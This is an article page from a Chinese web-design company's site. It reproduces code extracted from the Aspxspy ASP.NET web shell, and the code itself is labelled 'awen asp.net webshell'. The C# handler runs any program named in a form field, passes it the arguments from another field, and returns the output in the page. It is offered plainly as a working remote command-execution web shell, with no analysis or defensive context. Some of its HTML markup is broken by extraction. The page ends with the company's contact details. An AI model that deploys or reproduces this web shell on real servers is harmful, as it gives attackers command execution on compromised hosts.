成都创新互联网站制作重庆分公司

Aspxspy中提取执行cmd命令的代码

<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>

protected void FbhN(object sender,EventArgs e)
{
try
{
Process ahAE=new Process();
ahAE.StartInfo.FileName=kusi.Value;
ahAE.StartInfo.Arguments=bkcm.Value;
ahAE.StartInfo.UseShellExecute=false;
ahAE.StartInfo.RedirectStandardInput=true;
ahAE.StartInfo.RedirectStandardOutput=true;
ahAE.StartInfo.RedirectStandardError=true;
ahAE.Start();
string Uoc=ahAE.StandardOutput.ReadToEnd();
Uoc=Uoc.Replace("<","<");
Uoc=Uoc.Replace(">",">");
Uoc=Uoc.Replace("\r\n","
"); tnQRF.Visible=true; tnQRF.InnerHtml="
"+Uoc+"
"; } catch(Exception error) { Response.Write(error.Message); } } awen asp.net webshell     

路径:
   

 参数:
      

分享题目:Aspxspy中提取执行cmd命令的代码
当前网址:http://cxhlcq.com/article/jesjec.html

其他资讯

在线咨询

微信咨询

电话咨询

028-86922220(工作日)

18980820575(7×24)

提交需求

返回顶部